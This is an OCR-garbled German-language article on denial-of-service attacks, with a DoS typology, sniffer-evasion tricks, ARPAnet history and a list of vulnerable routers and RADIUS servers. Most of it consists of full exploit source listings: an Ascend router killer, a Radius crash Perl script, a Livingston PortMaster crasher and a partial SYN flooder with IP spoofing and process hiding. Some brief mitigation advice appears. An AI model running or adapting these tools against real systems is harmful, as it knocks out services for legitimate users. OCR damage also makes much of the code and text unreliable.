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Denial of Service

Denial of Service

Denial of Serviceist ein Synonym fir die Kunst bzw. den Unsinn des Verhinderns eines Zugriffs oder Nutzens eines
Computers oder eines davon zur Verfiigung gestellten Dienstes. Denial of Service bedeutet soviel wie etwas
unzugaglich machen, oder ausser Betrieb setzen, was in manchen Fallen fir legitime Benutzer von Wichtigkeit sein
kann. Diese Attacken nutzen immer Bugs und Schwachstellen von Programmen, Betriebssystemen oder
Fehlimplementationen von Protokollen aus. Es existieren daher auch verschiedene Formen von DoS-Attacken, die
grundsétzlich in drei Hauptgruppen unterteilt werden kénnen:

1. DoS-Angriffe auf Hardware: Jedes Element in einem Netzwerk (Router, Switches, Hubs, etc.) kann durch DoS-
Attacken (negativ) beeinflusst werden.

2. DoS-Angriffe gegen Betriebssysteme: Die wohl mitunter populdrste Version von DoS-Attacken richtet sich
gegen die Unstabilitét des Betriebssystems.

3. DoS-Angriffe gegen Applikationen: Hierbei liegt der Schwerpunkt bei DoS-Attacken gegen Applikationen von
Dirttanbietern, die unter Umstanden die Redundanz des ganzen Systems oder Netzwerks beeintréchtigen
konnen.

Entgegen der allgemein gultigen Meinung kénnen auch Netzwerkscanner, Sniffer und IDS (Intrusion Detect Systeme)
von solchen DoS-Angriffen betroffen sein. Der Grund dafur ist, dass Sniffer stets auf dem Kernel des Betriebssystems
aufbauen und somit von ihm abhéngig sind. Sniffer missen einen eigenen TCP/IP-Stack besitzen, daihnen sonst das
Ausfiihren eines Traceroute einer Netzwerkverbindung verwehrt bleiben wirde. Die meisten freien und kommerziellen
Scanner haben dabei ein kleines Problem: Sind sie auf Spurenverfolgung einer Verbindung, so sind sie nicht mehr in
der Lage andere Verbindungen gleichzeitig zu observieren. Um diese Aufgabe bewaltigen zu kdnnen, missten sie
gleichzeitig die Arbeit aller TCP/IP-Stacks im Netzwerk auf sich nehmen, wobei dies von der Rechenleistung einer
einzelnen CPU nicht verlangt werden kann. Daher entgeht ihnen stets ein grosser Prozentsatz des gesamten Traffics.
Ein Angreifer muss sich bei einer dynamischen Attacke stets auf zwei Rechner beschranken, wie dies bei aktiven IDS
(Intrusion Detection Systeme) der Fall ist. Sniffer und Netzwerkscanner, die auf einem Server zur Uberwachung eines
einzelnen Ports abgerichtet sind, kdnnen mit einem einfachen Trick sillgelegt werden: Bevor er sich zum Beispiel via
Telnet auf Port 23 einloggt, sendet er ein gespooftes SY N-Paket. Falls ein Sniffer nun aktiv ist, wird er logischerweise
nach Erhalt und Analyse des gespooften Pakets die VVerbindung auf Port 23 im Auge behalten. So kann sich der
Angreifer danach einloggen, ohne dass der Sniffer das Passwort mitscannen kann. Nach einer gewissen Zeit, wenn der
TCP/IP-Stack die Verbindung aufgrund des Timeouts kappt, ist der Sniffer wieder regulér aktiv. Ein weiteres Problem
besteht darin, dass ein Sniffer nicht wirklich in eine Verbindung hineinschauen kann. Er nimmt also am
Datenaustausch nicht bei, wie das bei den beiden beobachteten Rechnern der Fall ist. Er trifft aus diesen Griinden
bezlglich IP- und TCP-Paketlange bestimmte Annahmen und interpretiert die Pakete nach diesem Standartschema.
Wird nun eine Anderung beziiglich der Lange des TCP-Headers und der sporadischen Einschleusung von falschen
Prufsummen vorgenommen, die nicht mehr der zuvor errechneten Lange entsprechen, kann er die Inhalte der Pakete
nicht mehr korrekt interpretieren. Der Sniffer Uberpriift die TCP-Prifsummen nicht mehr, wobel die Kernel der
betroffenen Systeme diese "falschen" Pakete einfach verwerfen werden und somit die Ubertragung korrekt ausfuhren.
Sniffer brechen zum Teil auch nach einem FIN- oder RST-Paket ihre Uberwachung ab. Befindet sich einer dieser
jedoch in einem TCP-Paket mit weit entfernter Sequenznummer, so werden die zu Uberwachenden Rechner dieses
verwerfen und mit ihrer Ubertragung normal fortfahren. Der Sniffer hingegen halt die Verbindung fir beendet, und er
stellt seine Arbeit ein. Manche Betriebssysteme, wie zum Beispiel Windows NT und Digital Unix, Gberprifen bei
einem RST die TCP-Sequenznummern nicht. Sind also auf einem solchen System Sniffer aktiv, ist es einem Angreifer
leicht moglich, diese mit einem gespooften Paket mit gesetztem RST-Flag in einen passiven Zustand fur die
kommenden Pakete zurlickzusetzen.

Jeder, der schon einmal ein wissenschaftlich fundiertes Buch tber die Entstehung und Entwicklung des Internets
gelesen hat, wurde im Eingangs-Kapitel damit konfrontiert, dass das Internet urspriinglich vom US-Militér fir jenen
Zweck entwickelt wurde ein moglichst stabiles ezentrales Netzwerk zu errichten, dass sogar einen atomaren Schlag
Uberstehen konnte. Gegen Ende des Jahres 1962 lieferte Paul Baran von der Rand Corporation einen ersten Entwurf,
welcher 1969 in Tat und Wahrheit umgesetzt wurde. Wahrend Uber 30-j8hrigen Geschichte des Internets traten jedoch
vereinzelte Situationen in Kraft, die einem gesamthaften Zusammenbruch sehr nahe kamen. Der wohl mitunter
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bekannteste Vorfall dieser Sparte offenbarte 1988 seine destruktive Absicht, als der bertihmt bertichtigte Internet-
Wurm von Robert Tappan Morris mit seinem bosartigen Code rund 50'000 Rechner zum Stillstand brachte. Um jedoch
zu den Wurzeln und indirekt der Entstehung von Denial of Service-Attacken zurtickzugehen, missen wir unsin
unserer Phantasie einer Zeitreise ins Jahr 1980 beméchtigen. Als Ronald Reagan und Jimmy Carter im Oktober sichin
den Préasidentschaftswahlen verstrikten, umfasste der Vorganger des Internets, das ARPAnNet, nur rund 200 Hosts und
wurde vorwiegend von Forschern und Wissenschaftlern fir ihre Arbeit genutzt. Am 27. Oktober 1980 gingen diese
besagten Gelehrten an ihre Terminals, um mit Schrecken festzustellen, dass ein Grossteil des ARPAnets zum Erliegen
gekommen war. Eine Welle von Anrufen Gberschwemmte das Network Control Center (NCC), und so wurde schnell
klar, dass das Problem kein lokales war, sondern praktisch jedes Subnetz betreffen wirde. Die Ursache fir dieses
Problem wurde auf mikroskopischer Ebene gefunden: Ein ziemlich seltsamer Hardware-Fehler generierte fehlerhafte
Seguenzen von Netzwerk-Kontroll paketen. Diese fehlerhafte Konstrukte beeinflussten die Distribution der Software-
Ressourcen der Subnetze. Dies fuhrte dazu, dass ein(ige) Prozesse zu viele Ressourcen belegten, so dass fir andere
Prozesse keine mehr verblieben. Nahere Informationen zu diesem historischen Vorfal finden sich in "RFC 789 -

Vulnerabhilities of Network Control Protocols: An Example".

Denial of Service gegen Hardware

Die Methodik der DoS-Attacken gegen Hardware ist nicht sonderlich different in Relation mit selbigen Gewaltakten
gegen Software anzusehen. In vielen Fallen beeintrachtigen die selben Angriffe beide Ziele gleichermassen negativ:

. Angreifer senden korrupte Verbindungsanfragen mit einer gefélschten, nicht existenten IP-Adressen as Quelle.
Da der empfangende Host diese | P-Adresse aufgrund ihres Nichtbestehens nicht aufl6sen kann, bleibt die
aktuelle Sitzung hangen. Dieser Dienst kann einen einzelnen Dienst oder Port, aber auch ganze Rechner und
Systeme beeintréchtigen.

. Angreifer belegen dle verfligbaren Dienste und verhindern, dass die Administration und Wartung remote
durchgefihrt werden kann.

. Angreifer Uberschwemmen den Host mit deformierten oder speziell aufgebauten Paketen, die der empfangende
Host nicht korrekt verarbeiten kann.

Im Februar 1999 berichteten Wissenschaftler unabhangig von einander, dass viele Router gegen generelle Uberlauf-
Attacken, die meist in Denial of Service-Zustéanden enden kdnnen, nicht gewappnet sind. Ein Angreifer kann einen
TCP-Port dadurch negativ beeinflussen, indem er eine Telnet-Sitzung héngen lasst. Wenn genug solcher korrumpierten
V erbindungen bestehen, kann das System zum Erliegen gebracht werden. Solche generelle Angriffe lassen sich
dadurch verhindern, dass auf eine Remote-Administration verzichtet wird, um die dadurch unnétig werdenden Dienste
und Ports zu deaktivieren.

Beim Kauf der aktuellsten Netzwerkhardware sollte das Risiko durch ausnutzbare Fehler absolut minimiert sein.
Gerade aktuelle Firmware ist temporér als sehr sicher inzustufen, doch steigt der bedrohliche Faktor unaufhaltsam
exponentiell mit dem Fortlauf der Zeit. Nicht jeder hat bedauerlicherweise die Mittel, um sich stets mit aktuellen
Geréten versorgen zu kénnen, um den Risikofaktor aktiv einzudammen. Versuchen Sie jedoch stets auf dem neuesten
Stand der Entwicklungen (neue DoS-Attacken erschliessen meist neue Firmware) zu sein. Treten Sieim Zweifelsfalle
in Kontakt mit dem Hersteller ihres eingesetzten Produkts, um tGber Neuerungen informiert zu werden und von ihnen
zu profitieren.

Folgend maochte ich nun einige DoS-Attacken gegen Netzwerk-Hardware kurz erklaren, um einen Uberblick der damit
in Zusammenhang stehenden Methoden gewahrleisten zu konnen. Die erlauterten Angriffe reprasentieren keinesfalls
einellckenlose Liste aller Schwachstellen in Netzwerk-Hardware, und versucht nur den tieferen Kern der Thematik zu
tangieren.

Ascend Max/Pipeline

Angreifer kbnnen die Router von Ascend, welche mit dem OS 5.0a ausgestattet sind dadurch zum Absturz bringen
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bzw. einen Reboot erzwingen, dass eine Telnet-Sitzung zu Port 150 gedffnet wird um danach einen bestimmten Text-
String zu senden.

Die Modelle Max und Pipeline warten zusétzlich mit Java Configurator, einem Tool, das automatisch Router des
gleichen Herstellersin einem spezifischen Netz lokalisieren kann, auf. Dieses integrierte Utility horcht auf Port 9,
welcher alsdann anféllig auf speziell formierte Pakete wird: Dadurch kann der ganze Router eingefroren werden.

Viele Ascend-Router kdnnen zusdétzlich dadurch zum Absturz gebracht werden, indem sie dazu gezwungen werden
TCP-Offsets mit einer anderen Lange als Null zu verarbeiten. Dieses V orhaben kann mit folgendem Exploit
durchgesetzt werden, welcher as C-Quelltext aufwartet:

/*
The Posse Brings you:

The Li nux Ascend Kill Program
Kill your local ISP (or even non-local)

313373133731337313373133731337313373133731337313373133731337313373133731337
1

3

3

1

3 Because Ascend has such a strong progranmm ng departnent that
woul d 3

7 never under any circunstances rel ease a version of their code
whi ch 3

3 contained a

bug. 7

1

3

3 Well. Ascend did it again. Those pesky non zero length tcp

of fset's 1

3 do it everytine! Are those fault lights available in christms

colors 3

7 in tinme for the season?

hOhOhO. . 3

3

7

1 BTW if anyone has any pictures of MSN pops, please post them
to 3

3 sonepl ace public so we can all share in the season
spirit. 1

3

3

7 - The Posse is

back! 3
3

7

1 greetz to : alpha bits, the grave digger, and fast
freddy. 3

3

1
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3 Goto our eleet ftp

sitez: 3

7

3

3

7

1 The Dark Dungeon 198. 34. 1xx. xxx 600 gi gz

onl i ne! 3

3 Strobe Room 34. 101. 1xx. xxx 1TB of Warez and H P/ V/ A C K
t ext 1

3

3
731337313373133731337313373133731337313373133731337313373133731337313373133
3

7

1 2600.comis run off vnetnmax.villagenet.com

(205. 136. 35. 3) 3

3 Keep your support of 2600, hel p Emmanuel play with his little
boys 1

3

3
731337313373133731337313373133731337313373133731337313373133731337313373133

*/

#i ncl ude <stdi o. h>

#i ncl ude <stdlib. h>

#i ncl ude <string. h>

#i ncl ude <uni std. h>

#i ncl ude <sys/types. h>

#i ncl ude <sys/socket. h>

#i ncl ude <netinet/in.h>

#i ncl ude <netinet/in_systm h>
#i ncl ude <netinet/ip.h>

#i ncl ude <netinet/ip_tcp.h>
#i ncl ude <neti net/protocols. h>
#i ncl ude <net db. h>

unsi gned short conpute_tcp_checksun(struct tcphdr *th, int |en,
unsi gned | ong saddr, unsigned | ong daddr)
{
unsi gned | ong sum
_asm_ ("
addl 9% ecx, %Webx
adcl 9%edx, %Webx
adcl $0, %ebx

"=b" (sum
"0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) +
| PPROTO_TCP* 256)
© "bx", "cx", "dx" );
_asm_ ("
nmovl 9%ecx, YWedx
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cld
cnpl $32, %Wecx
jb 2f
shrl $5, %ecx
clc
| odsl
adcl %eax, 9Webx
| odsl
adcl %Beax, YWebx
| odsl
adcl %eax, %Webx
| odsl
adcl %eax, 9Webx
| odsl
adcl %Beax, 9Webx
| odsl
adcl %Beax, YWebx
| odsl
adcl %eax, %Webx
| odsl
adcl %eax, %ebx
| oop 1b
adcl $0, %ebx
movl %edx, %ecx
andl $28, %ecx
j e 4af
shrl $2, %ecx
clc
| odsl
adcl %eax, %Webx
| oop 3b
adcl $0, %ebx
novl $0, %eax
testw $2, %@x
j e 5f
| odsw
addl %eax, %ebx
adcl $0, %ebx
novw $0, %B@ax
test $1, %Wedx
j e 6f
| odsb
addl %Beax, %Webx
adcl $0, %ebx
movl %ebx, %eax
shrl $16, %eax
addw %@ax, 9%bx
adcw $0, %Mbx
"=b" (sum
"0"(sum, "c"(len), "S'(th)
"ax", "bx", "cx", "dx", "si" );
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return((~sum & Oxffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr) )
#define tcp_offset ( sizeof(struct iphdr) )

#define err(x) { fprintf(stderr, x); exit(1l); }

#define errors(x, y) { fprintf(stderr, x, y); exit(1); }

struct iphdr tenp_ip;

int tenp_socket = O;

u_short
i p_checksum (u_short * buf, int nwords)

{

unsi gned | ong sum

for (sum= 0; nwords > 0; nwords--)
sum += *buf ++;

sum = (sum >> 16) + (sum & Oxffff);

sum += (sum >> 16);

return ~sum

}

voi d

fixhost (struct sockaddr _in *addr, char *hostnane)
{

struct sockaddr in *address;
struct hostent *host;

address = (struct sockaddr _in *) addr;
(void) bzero ((char *) address, sizeof (struct sockaddr_in));
address->sin_fam |y = AF_I NET,

address->sin_addr.s_addr = inet_addr (hostnane);
if ((int) address->sin_addr.s_addr == -1)
{
host = get host bynane (hostnane);
if (host)
{

bcopy (host->h_addr, (char *) &address->sin_addr,
host->h_| engt h) ;

el se

{

puts ("Couldn't resolve address!!!");
exit (-1);
}

}

unsi gned i nt
| ookup (host)
char *host;

{

unsi gned i nt addr;
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struct hostent *he;

addr = inet_addr (host);
if (addr == -1)
{
he = get host byname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr |ist ==
NULL) )
return O;

bcopy (*(he->h_addr list), &(addr), sizeof (he->h_addr list));
}

return (addr);

}

unsi gned short
| ookup_port (p)
char *p;
{ - .
int i;
struct servent *s;

if ((i =atoi (p)) == 0)
{
if ((s = getservbynane (p, "tcp")) == NULL)
errors ("Unknown port %\n", p);
i = ntohs (s->s_port);
}

return ((unsigned short) i);

}

voi d

spoof packet (struct sockaddr _in local, int fronport, \
struct sockaddr_in renote, int toport, ulong sequence, \
int sock, u_char theflag, ulong acknum \
char *packdata, int datalen)

char *packet;
int tenpint;
if (datalen > 0)
dat al en++;
packet = (char *) malloc (psize + datal en);
tenpint = toport;
toport = fronport;
fronmport = tenpint;
{
struct tcphdr *fake_tcp;
fake tcp = (struct tcphdr *) (packet + tcp_offset);
fake_tcp->th_dport = htons (fronport);
fake tcp->th _sport = htons (toport);
fake tcp->th _flags = thefl ag;
fake_tcp->th_seq = random ();
fake tcp->th_ack = random ();
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/* this is what really matters, however we random ze everything
el se
to prevent sinple rule based filters */

fake_tcp->th_off = random ();
fake_tcp->th_win = random ();
fake tcp->th urp = random ();
}
if (datalen > 0)
{

char *tenpbuf;

tenpbuf = (char *) (packet + tcp_offset + sizeof (struct

tcphdr));
for (tenpint

{
*t empbuf
*t enpbuf ++;
*packdat a++;

}
*tempbuf = "\r';

0; tenmpint < datalen - 1; tenpint++)

*packdat a;

}
{

struct iphdr *real _ip;

real _ip = (struct iphdr *) packet;
real i p->version = 4;

real _ip->ihl =5

real ip->tot _len = htons (psize + datal en);
real _ip->tos = O;

real _ip->ttl = 64;

real _i p->protocol = 6;
real _i p- >check = 0;

real ip->id = 10786;

real _ip->frag_off = 0;

bcopy ((char *) & ocal.sin_addr, &real _ip->daddr, sizeof (real _ip-

>daddr)) ;

bcopy ((char *) & enote.sin_addr, &real ip->saddr, sizeof (real _ip-

>saddr));

tenp_i p.saddr = htonl (ntohl (real _ip->daddr));

real _i p->daddr htonl (ntohl (real _ip->saddr));

real _i p->saddr tenp_i p. saddr

real _i p->check i p_checksum ((u_short *) packet, sizeof (struct
i phdr) >> 1);

{

struct tcphdr *anot her _tcp;

anot her _tcp = (struct tcphdr *) (packet + tcp offset);

anot her _tcp->th_sum = 0;

anot her _tcp->th_sum = conput e_tcp_checksum (anot her _tcp, sizeof
(struct tcphdr) + datal en,

real _i p->saddr, real _ip-
>daddr) ;
}
}
{

int result;
sock = (int) tenp_socket;
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}

result = sendto (sock, packet, psize + datalen, O,
(struct sockaddr *) &renote, sizeof (renote));

}
free (packet);

voi d
mai n (argc, argv)

i nt argc;
char **argv;

unsi gned i nt daddr;

unsi gned short dport;

struct sockaddr _in sin;

int s, i;

struct sockaddr _in local, renote;
u_long start_seq = 4935835 + getpid ();

if (argc !'= 3)
errors ("Usage: % <dest_addr> <dest_port>\n\nDest port of 23 for

Ascend units.\n",

argv[0]);
if ((s = socket (AF_INET, SOCK RAW |PPROTO RAW) == -1)
err ("Unable to open raw socket.\n");
if ((tenmp_socket = socket (AF_INET, SOCK RAW | PPROTO RAW) == -1)

err ("Unable to open raw socket.\n");
if (!(daddr = | ookup (argv[1])))
err ("Unable to | ookup destination address.\n");
dport = | ookup_port (argv|[?2]);
sin.sin_famly = AF_I NET,
sin.sin_addr.s_addr = daddr;
sin.sin_port = dport;
fixhost ((struct sockaddr _in *)(struct sockaddr *) & ocal, argv[1l]);
fixhost ((struct sockaddr_in *)(struct sockaddr *) &renote,

argv[1]);
/* 500 seens to be enough to kill it */
for (i = 0; 1 < 500; i++)
{

}

start_seq++;
| ocal . sin_addr.s_addr = random ();
spoof _packet (local, random (), renote, dport, start_seq, (int)

TH SYN | THRST | TH ACK, 0, NULL, 0);

Cisco (10S12.0)

Die Router mit 10S 12.0 aus dem Hause Cisco sind anféllig fur UDP-Scan-Angriffe auf den Syslog-Port (UDP-Port

514). Eine solche Attacke kann zum Beispiel mit den Netzwerkscanner nmap von Fyodor generiert werden.

Die Ldsung besteht darin, den extern einkommenden Syslog-Netzwerkverkehr zu filtern oder gar zu blocken.
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Cisco 76x

Einige Cisco-76x-Modelle mit 10S 4.1, 4.1.1 und 4.1.2 sind anféllig auf einen primitiven Uberlauf-Angriff. Angreifer
kontaktieren den Router mittels Telnet und geben einen sehr langen Text-String wéahrend des Login-Vorgangs aus. Als
Reaktion auf diese Aktion stirzt das Gerét entweder ab oder unterwirft sich mit einem Neustart.

Als Losung sollte ein Update auf 10S/700 4.1 (2.1) in Anbetracht gezogen werden. Zusétzlich sollte manim
Zweifelsfall mit Cisco direkt in Kontakt treten, um den weiteren Fortlauf zu stérkung der Sicherheit des Gerates
abzusprechen.

Cisco 1000

Die 1000er-Modelle von Cisco mit 10S 9.1+ kénnen durch einen Remote-Angriff zum Absturz verleitet werden.
Die L 6sung des Problems besteht im Update der Firmware, welches sie direkt bei Cisco beziehen konnen.

Cisco 2500

Diese Modelle mit 10S 10.2 sind anféllig fur ein UDP-Flooding auf Port 9.

Die Losung ist wiederum ein Update oder Filterung des ungewlnschten Datenverkehrs.

Cisco Catalyst

Viele Catalyst-Modelle von Cisco fahren einen undokumentierten TCP/IP-Dienst, der eine gesonderte Gefahr in sich
birgt: Angreifer kbnnen sich mit diesem Service verbinden und ihn zu einer DoS-Attacke gegen das eigene Geréat
nutzen.

Im Mérz 1999 verdffentlichte Internet Security Systems einen Artikel zu diesem Vorfall, der sich mit Firmware-
Update verhindern 18sst.

Cistron RADIUS 1.16

Der RADIUS-Server in der Version 1.16 von Cistron ist eine beliebte und kostenglinstige Alternative unter Linux im
Gegensatz zu den teuren RADIUS-Server-Paketen. Leider ist er anféllig eine DoS-Attacke auf Port 1646, welche mit
folgendem Perl-Script von Hamdi Touns automatisiert und in Bugtrag am 21. April 1998 publiziert wurde:

#! [ usr/ bi n/ perl
use Aut hen: : Radi usAcct;
$r = new Aut hen: : Radi usAcct (Host => 'radi ushost: 1646', Secret =>
"any_secret');
$r->l oad_dictionary;
$r->add_attributes(
{Name => 'User-Nane', Value => 'dumy'},
{Nane => 'Franed-Filter-1d , Type =>'string', Val ue
=>pack(' A4096' ,' A")},
)

$r->send_packet (4);
}
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Die Simple |6sung lasst sich mit dem Wort Update einfach umschreiben. Trotzdem wurde ich Ihnen aus
Kostengriinden raten, stets auf den sehr komfortablen GNU-Server auszuweichen, obschon diese kleine
Sicherheitsllicke einem bedenklich stimmen kann.

Flowpoint DSL 2000

Die Flowpoint-Software 1.2.3 ist anfallig auf einen peinlichen Uberlauf, der in einer DoS-Attacke endet: Ein Angreifer
muss einfach den Prompt mit sinnlosen Zeichen Uberfluten lassen.

Zur Losung rate ich IThnen ein Update auf mindestens Version 1.4.1 vorzunehmen.
Microcom 6000

Microcoms Zugriffsinterogatoren sind anféllig auf einen primitiven DoS-Angriff. Angreifer kdnnen einem
Amdinistrator das verhindern, indem Telnet-Sitzungen zum Erliegen gebracht werden, damit keine weiteren
Verbindungen mehr hergestellt werden kénnen.

Ein Update der Firmware schafft Abhilfe.
Livingston 1.16
Die Portmaster-Modelle 1.16 von Livingston sind im Client-Zustand anféllig auf eine obskure DoS-Attacke:

/* The follow ng code will crash ANY Livingston PortMaster.
It telnets the the portmaster and overflows its buffers.

Thanks to ' The Doc' for this one. */
/* pntrash - note this'Il work nuch faster if all your argunents
are | P addresses.. mainly because | didn't feel I|ike

coding a structure to keep track of all the resolved
nanes.. so wite a script to resolve your |ist of
nanmes first, then provide those as argunents */

/* This programis free software; you can redistribute it and/or

nodi fy
* it under the terns of the GNU General Public License as published
by

* the Free Software Foundation; either version 2 of the License, or

* (at your option) any |ater version.

*

* This programis distributed in the hope that it will be useful,
* but W THOUT ANY WARRANTY; wi thout even the inplied warranty of
* MERCHANTABI LI TY or FI TNESS FOR A PARTI CULAR PURPCSE. See the
* GNU General Public License for nore details.

*

* You shoul d have received a copy of the GNU General Public License
* along with this program if not, wite to the Free Software

* Foundation, Inc., 675 Mass Ave, Canbridge, MA 02139, USA

*/
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/* Conpiling instructions:

Li nux:
gcc -2 -fomt-franme-pounter -s -o pnfinger pnfinger.c

Sol aris 2.4:
cc -O-s -0 pnfinger pnfinger.c -lsocket -lInsl -lresolv -luch

*/

#i ncl ude <sys/tine. h>
#i ncl ude <stdi o. h>

#i ncl ude <string. h>

#i ncl ude <stdlib.h>

#i ncl ude <uni std. h>

#i ncl ude <sys/types. h>
#i ncl ude <sys/socket. h>
#i nclude <fcntl. h>

#i ncl ude <signal . h>

#i ncl ude <errno. h>

#i ncl ude <netinet/in.h>
#i ncl ude <net db. h>

#i ncl ude <arpa/inet. h>
#i ncl ude <pwd. h>

#i f ndef sys errlist
extern char *sys errlist[];
#endi f

#i f ndef errno
extern int errno;
#endi f

/* Inet sockets :-) */
i nt nume=O;
i nt socks[ 250];

/* show sessions flag */
unsi gned short int showfl ag=0;

char *
nystrerror(int err) {
return(sys_errlist[err]);

}

voi d
exitprog(void) {
while(num-) {
shut down(socks[ num 1], 0);
cl ose(socks[ num 1]);

}
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exit(0);
}

unsi gned | ong int
resol ver (host)
char *host;

{
unsi gned long int ip=0L;

i f(host && *host && (i p=inet _addr(host))==-1) {
struct hostent *he;

i f(!(he=get host bynane((char *)host)))
i p=0L;
el se
I p=*(unsi gned |l ong *)he->h_addr_|ist[O0];
}

return(ip);

}

voi d
usage(voi d) {
puts("pnctrash v0.2a - Con0S System Rebooter :-)\n"
"Copyright (C 1995 LAME Conmuni cati ons\n"
"Witten by Dr. Delete, Ph.D.\n\n"
"Usage: pntrash <portnaster>[:port] [<portmaster>[:port]
1\n");
exit(0);
}

voi d
mai n(i nt argc, char *argv[]) {
unsi gned short int port=0,x=1;
struct sockaddr _in server
char crash[] = { OxFF, OxF3, OxFF, OxF3, OxFF, OxF3, OxFF, OxF3, OxFF, OxF3

char *tenp;

i f(argc<2)
usage();

signal (SI GPI PE, (void (*)())exitprog);
signal (SIGHUP, (void (*)())exitprog);
signal (SIANT, (void (*)())exitprog);
signal (SI GTERM (void (*)())exitprog);
signal (SIABUS, (void (*)())exitprog);
si gnal (SI GABRT, (void (*)())exitprog);
signal (SI GSEGV, (void (*)())exitprog);

server.sin_fam | y=AF_| NET;

printf("\nConnecting..."); fflush(stdout);
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for(;x<argc; x++) {

I f ((socks[ nun] =socket (AF_I NET, SOCK_STREAM 0) ) ==-1) {

fprintf(stderr,"Unable to allocate AF_I NET socket:
%\ n",nystrerror(errno));
exitprog();

}

set sockopt (socks[ num , SOL_SOCKET, SO LI NGER, 0, 0);

set sockopt (socks[ num , SOL_SOCKET, SO REUSEADDR, 0, 0) ;

set sockopt (socks[ num , SOL_SOCKET, SO _KEEPALI VE, 0, 0) ;

if((tenmp=strstr(argv[x],":"))) {
*t enp++=(char) O;
server.sin_port=htons((atoi(tenp)));

}

el se
server. sin_port=htons(23);

I f(!(server.sin_addr.s_addr = resolver(argv[x]))) {
fprintf(stderr,"Unable to resolve host '%'.\n",argv[Xx]);
cl ose(socks[ num);
conti nue;

}

I f (connect (socks[ nunj, (struct sockaddr *)&server, sizeof (struct

sockaddr _in))) {

printf("!"); fflush(stdout);

[* fprintf(stderr,"Unable to connect to %.
(%s)\n",argv[x], nystrerror(errno)); */

cl ose(socks[ num);

conti nue;

}

printf("."); fflush(stdout);

numt+;

}
printf("\nSweeping..."); fflush(stdout);

for(x=0; x<num x++) {
write(socks[x], crash, 10);
printf("."); fflush(stdout);

}

puts("\n");

sl eep(4);

exitprog();

}

Ein Update und die Studien von http://www.dataguard.no/bugtrag/1997 3/0416.html kénnen Abhilfe schaffen.

Osicom ROUTERmMate

SY N-Flood-Angriffe kdnnen das besagte Router-System zum Absturz gebracht werden. Folgender Exploit mit dem
Namen synk_4.c kann fir einen Test-Angriff genutzt werden:

/* Syn Fl ooder by Zakath
* TCP Functions by trurl_ (thanks man).
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* Sonme nore code by Zakat h.

* Speed/ M sc Tweaks/ Enhancnents -- ultim

* Nice Interface -- ultinm

* Random | P Spoofing Mdde -- ultima

* How To Use:

* Usage is sinple. srcaddr is the IP the packets will be spoofed
from

*

dstaddr is the target machi ne you are sending the packets to.

* | ow and high ports are the ports you want to send the packets to.
* Random | P Spoofing Mdde: Instead of typing in a source address,

* just use '0'. This will engage the Random | P Spoofi ng node, and
* the source address will be a random I P instead of a fixed ip.

* Rel eased: [4.29.97]

* To conpile: cc -0 synk4 synk4.c

*/
#i ncl ude <signal . h>
#i ncl ude <stdi o. h>
#i ncl ude <net db. h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/tine. h>
#i ncl ude <netinet/in.h>
#i ncl ude <linux/ip.h>
#i ncl ude <linux/tcp. h>
/| * These can be handy if you want to run the flooder while the admn
is on

* this way, it nmakes it MJCH harder for himto kill your flooder */
/* lgnores all signals except Segfault */
/| #define HEALTHY
/* lgnores Segfault */
/'l #define NOSEGV
/ * Changes what shows up in ps -aux to whatever this is defined to */
/| #define H DDEN "vi .cshrc"
#def i ne SEQ 0x28376839
#defi ne getrandon(mn, max) ((rand() % (int)(((max)+1l) - (mn))) +
(mn))

unsi gned | ong send_seq, ack_seq, srcport;
char flood = O;
i nt sock, ssock, curc, cnt;

/* Check Sum */

unsi gned short

i p_sum (addr, 1|en)

u_short *addr;

int len;

{
register int nleft = len;
regi ster u_short *w = addr;
register int sum= 0;
u_short answer = 0;

while (nleft > 1)
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{
sum += *wH+;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & Oxffff); /* add hi 16 to | ow 16
*/
sum += (sum >> 16); /* add carry */
answer = ~sum /* truncate to 16 bits */
return (answer);
}
void sig _exit(int crap)
{

#i f ndef HEALTHY
printf(" [H[JSignhal Caught. Exiting Ceanly.\n");

exit(crap);
#endi f
}
voi d sig_segv(int crap)
{

#i f ndef NOSEGV
printf(" [H [JSegnentation Violation Caught. Exiting
Ceanly.\n");
exit(crap);
#endi f
}

unsi gned | ong getaddr(char *nane) {
struct hostent *hep;

hep=get host bynane( nane) ;

i f(!'hep) {
fprintf(stderr, "Unknown host 9%\n", nane);
exit(1);

}

return *(unsigned | ong *)hep->h_addr;

voi d send_tcp_segnent (struct iphdr *ih, struct tcphdr *th, char *data,
int dlen) {
char buf[ 65536];
struct { /* rfc 793 tcp pseudo- header */
unsi gned | ong saddr, daddr;
char nbz;
char ptcl;
unsi gned short tcpl;

} oph;
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struct sockaddr_in sin; /* how necessary is this, given that
t he destination
address is already in the ip header?

*/

ph. saddr =i h- >saddr ;

ph. daddr =i h- >daddr ;

ph. nbz=0;

ph. pt cl =I PPROTO_TCP;

ph. t cpl =ht ons(si zeof (*t h) +dl en) ;

mencpy(buf, &ph, sizeof (ph));

mencpy( buf +si zeof (ph), th, sizeof (*th));

mencpy( buf +si zeof (ph) +si zeof (*th), data, dlen);

nmenset ( buf +si zeof (ph) +si zeof (*t h) +dl en, 0, 4);

t h- >check=i p_sun( buf, (sizeof(ph)+sizeof(*th)+dl en+l)&-1);

mencpy(buf, ih, 4*ih->ihl);

mencpy(buf +4*i h->ihl, th, sizeof(*th));

mencpy( buf +4*i h->i hl +si zeof (*th), data, dlen);

nmenset (buf +4*i h- >i hl +si zeof (*t h) +dl en, 0, 4);

i h->check=i p_sun(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) &
~1);

mencpy(buf, ih, 4*ih->ihl);

sin.sin_fam | y=AF_I NET,
si n.sin_port=th->dest;
si n.sin_addr.s_addr =i h- >daddr;

i f (sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin,
si zeof (sin))<0) {
printf("Error sending syn packet.\n"); perror("");
exit(1);

}

unsi gned | ong spoof _open(unsigned |long my_ip, unsigned |long their_ip,
unsi gned short port) {

int i, s;

struct iphdr ih;

struct tcphdr th;

struct sockaddr _in sin;

i nt sinsize;

unsi gned short nyport=6969;

char buf[1024];

struct tinmeval tv;

i h.version=4;

i h.ihl=5;

i h.tos=0; [* XXX is this normal ? */
i h.tot_I| en=sizeof (i h)+sizeof (th);

i h.id=htons(randon());
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i h.frag_off=0;

